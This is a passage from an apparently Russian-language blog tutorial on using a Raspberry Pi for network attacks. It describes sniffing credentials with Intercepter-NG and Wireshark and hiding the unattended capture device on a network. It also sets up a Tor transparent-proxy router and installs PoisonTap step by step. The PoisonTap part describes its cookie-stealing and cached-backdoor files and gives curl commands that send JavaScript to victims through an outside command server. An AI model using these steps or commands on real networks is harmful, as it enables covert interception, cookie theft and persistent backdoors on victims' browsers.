Аутентификационные данные: Если в перехваченном трафике используются незашифрованные протоколы, Intercepter-NG может показывать аутентификационные данные, такие как логины и пароли, передаваемые через сеть.
DNS-запросы и ответы: Инструмент может отображать DNS-запросы и соответствующие ответы, позволяя видеть, какие доменные имена запрашиваются устройствами в сети.
ARP-запросы и ответы: Intercepter-NG может отслеживать ARP-запросы и ответы, связанные с разрешением IP-адресов на MAC-адреса в сети.
SSL/TLS-соединения: Если Intercepter-NG настроен для расшифровки SSL/TLS-соединений, то инструмент может показывать расшифрованное содержимое зашифрованного трафика, включая URL-адреса, заголовки и тело запросов и ответов.
3. Запуск Wireshark
sudo wireshark
(Инструмент установлен в Kali Linux по умолчанию)
4. Настройка и запуск перехвата пакетов.
Выбираем адаптер:
После того как мы выбрали адаптер , начнется запуск перехвата пакетов.
Теперь мы можем оставить малинку без клавиатуры и дисплея и спрятать.
После завершения сканирования , мы можем работать с перехваченным трафиком , пересматривать содержимое пакетов , расшифрововать их и также воссоздать схему сети из дампа трафика.
Дополнительные проекты с девайсом
Анонимный роутер из Raspberry pi
Подготовка
sudo apt update && sudo apt upgrade
Установите необходимые пакеты Tor:
sudo apt install tor
Установите пакеты, связанные с настройкой точки доступа:
sudo apt install hostapd dnsmasq
Настройка Tor:
Откройте файл настроек Tor для редактирования:
sudo nano /etc/tor/torrc
Раскомментируйте (уберите символ #) или добавьте следующие строки в файл:
VirtualAddrNetworkIPv4 10.192.0.0/10 AutomapHostsOnResolve 1 TransPort 9040 TransListenAddress 192.168.42.1 DNSPort 53 DNSListenAddress 192.168.42.1
Сохраните изменения и закройте файл.
Настройка точки доступа:
Создайте и откройте файл конфигурации точки доступа:
sudo nano /etc/hostapd/hostapd.conf
Добавьте следующие строки в файл:
interface=wlan0 ssid=YourSSID hw_mode=g channel=6 macaddr_acl=0 auth_algs=1 ignore_broadcast_ssid=0 wpa=2 wpa_passphrase=YourPassphrase wpa_key_mgmt=WPA-PSK wpa_pairwise=TKIP rsn_pairwise=CCMP
Замените "YourSSID" на имя вашей сети, а "YourPassphrase" на пароль для доступа к сети.
Сохраните изменения и закройте файл.
Настройка DHCP и DNS:
Создайте резервные копии оригинальных файлов конфигурации:
sudo mv /etc/dhcpcd.conf /etc/dhcpcd.conf.orig sudo mv /etc/dnsmasq.conf /etc/dnsmasq.conf.orig
Создайте новый файл конфигурации для DHCP:
sudo nano /etc/dhcpcd.conf
Добавьте следующие строки в файл:
interface=wlan0 static ip_address=192.168.42.1/24 nohook wpa_supplicant
Сохраните изменения и закройте файл.
Создайте новый файл конфигурации для DNS:
sudo nano /etc/dnsmasq.conf
Добавьте следующие строки в файл:
interface=wlan0 dhcp-range=192.168.42.10,192.168.42.50,255.255.255.0,24h domain=wlan address=/#/192.168.42.1
Сохраните изменения и закройте файл.
Запуск анонимного роутера:
Включите Tor:
sudo service tor start
Включите точку доступа:
sudo systemctl unmask hostapd sudo systemctl enable hostapd sudo systemctl start hostapd
Включите DHCP и DNS:
sudo systemctl enable dnsmasq sudo systemctl start dnsmasq
Настройте перенаправление трафика:
sudo nano /etc/sysctl.conf
Раскомментируйте или добавьте строку:
net.ipv4.ip_forward=1
Сохраните изменения и закройте файл.
Активируйте настройки перенаправления:
sudo sh -c "echo 1 > /proc/sys/net/ipv4/ip_forward"
Настройте правила iptables:
sudo iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 80 -j REDIRECT --to-ports 9040 sudo iptables -t nat -A PREROUTING -i wlan0 -p tcp --syn -j REDIRECT --to-ports 9040
Сохраните правила iptables:
sudo sh -c "iptables-save > /etc/iptables.ipv4.nat"
Добавьте команду для восстановления правил iptables при загрузке:
sudo nano /etc/rc.local
Добавьте перед строкой "exit 0" следующую строку:
iptables-restore < /etc/iptables.ipv4.nat
Сохраните изменения и закройте файл.
После завершения всех шагов вы должны иметь работающий анонимный роутер на базе Raspberry Pi. Устройства, подключенные к точке доступа, будут маршрутизировать свой трафик через сеть Tor, обеспечивая повышенную анонимность при использовании Интернета.
Poisontap
Загрузка PoisonTap
Исходный код: https://github.com/samyk/poisontap
git clone https://github.com/samyk/poisontap.git
Установка / Размещение файлов
sudo bash
Если Raspbian ДО 2016-05-10, тогда запустите следующую строку:
BRANCH=next rpi-update
echo -e "\nauto usb0\nallow-hotplug usb0\niface usb0 inet static\n\taddress 1.0.0.1\n\tnetmask 0.0.0.0" >> /etc/network/interfaces
echo "dtoverlay=dwc2" >> /boot/config.txt
echo -e "dwc2\ng_ether" >> /etc/modules
echo "/bin/sh /home/pi/poisontap/pi_startup.sh" >> /etc/rc.local
mkdir /home/pi/poisontap
chown -R pi /home/pi/poisontap
apt-get update && apt-get upgrade
apt-get -y install isc-dhcp-server dsniff screen nodejs
Поместите dhcpd.conf в /etc/dhcp/dhcpd.conf, а остальные файлы в /home/pi/poisontap, затем перезагрузите, чтобы убедиться, что всё работает.
В репозитории присутствует ряд файлов, которые имеют различное применение. Их перечень:
backdoor.html — Всякий раз, когда происходит переход по URL http://hostname/PoisonTap для эксфильтрации кукиз, этот файл возвращается в качестве содержимого для принудительного кэширования. Он содержит бэкдор, который создаёт исходящий websocket на samy.pl:1337 (настраивается на любой хост/порт), который остаётся открытым для команд с сервера. Это означает, когда вы загружаете iframe на сайте, такой как http://hostname/PoisonTap, будет заполнено этим содержимым (даже после удаления из машины PoisonTap).
backend_server.js — это сервер Node.js, который вы запускаете на вашем доступном из Интернета сервере. Это то, к чему подключается backdoor.html (например, samy.pl:1337). Этот тот же сервер, к которому вы подключаетесь для отправки команд для ваших любимых машин, в которые вы ранее втыкали PoisonTapp, например всплывающее окно для жертвы:
curl '[URL]http://samy.pl:1337/exec?alert[/URL]("muahahahaha")'
Установка куки для жертвы:
curl '[URL]http://samy.pl:1337/exec?document.cookie=[/URL]"key=value"'
Принудить жертвы загрузить url через ajax (помните, jQuery сохранён внутри бэкдора)
curl '[URL]http://samy.pl:1337/exec?$.get[/URL]("[URL]http://192.168.0.1.ip.samy.pl/login[/URL]",function(d)\{console.log(d)\})'
pi_poisontap.js — Он запускается через Node.js на Raspberry Pi Zero и является HTTP сервером, ответственным за обработку любых HTTP запросов, перехватываемых PoisonTap, сохранение перекаченных кукиз и внедрение кэшированных бэкдоров.
pi_startup.sh — Он запускается при старте Raspberry Pi Zero, чтобы настроить и поднять эмулятор гаджета Ethernet-over-USB, поднять наш злой DHCP сервер, позволить перенаправлять трафик, DNS спуфинг и запустить описанный выше pi_poisontap.js.
target_backdoor.js — Это файл, добавляемый к любым связанным с CDN Javascript файлам, таким образом забэкдоривая их, например, CDN jQuery URL от Google.
target_injected_xhtmljs.html — Это код, который внедряется в непреднамеренные/фоновые HTTP/AJAX запросы на машине жертвы и запускает всю атаку. Он сконструирован таким образом, что он может быть интерпретирован как HTML или как Javascript, и при этом исполняет тот же код. В нём же HTML5 canvas, который можно наблюдать в демонстрации, когда страницы пропускаются через PoisonTap.
poisontap.cookies.log — Этот файл генерируется после начала отправки HTTP запросов с пользовательской машины на PoisonTap, в нём сохраняются куки из браузера вместе с ассоциированным URL/доменом, которому они принадлежат.
Итоги
Сегодня я познакомил вас с таким девайсом как Raspberry Pi! Мы узнали значение и применение этой железки при пентесте.
Понравился материал? - С вас лайк и подписка!)
Вся представленная информация носит исключительно ознакомительный характер и не призывает приступать к действиям!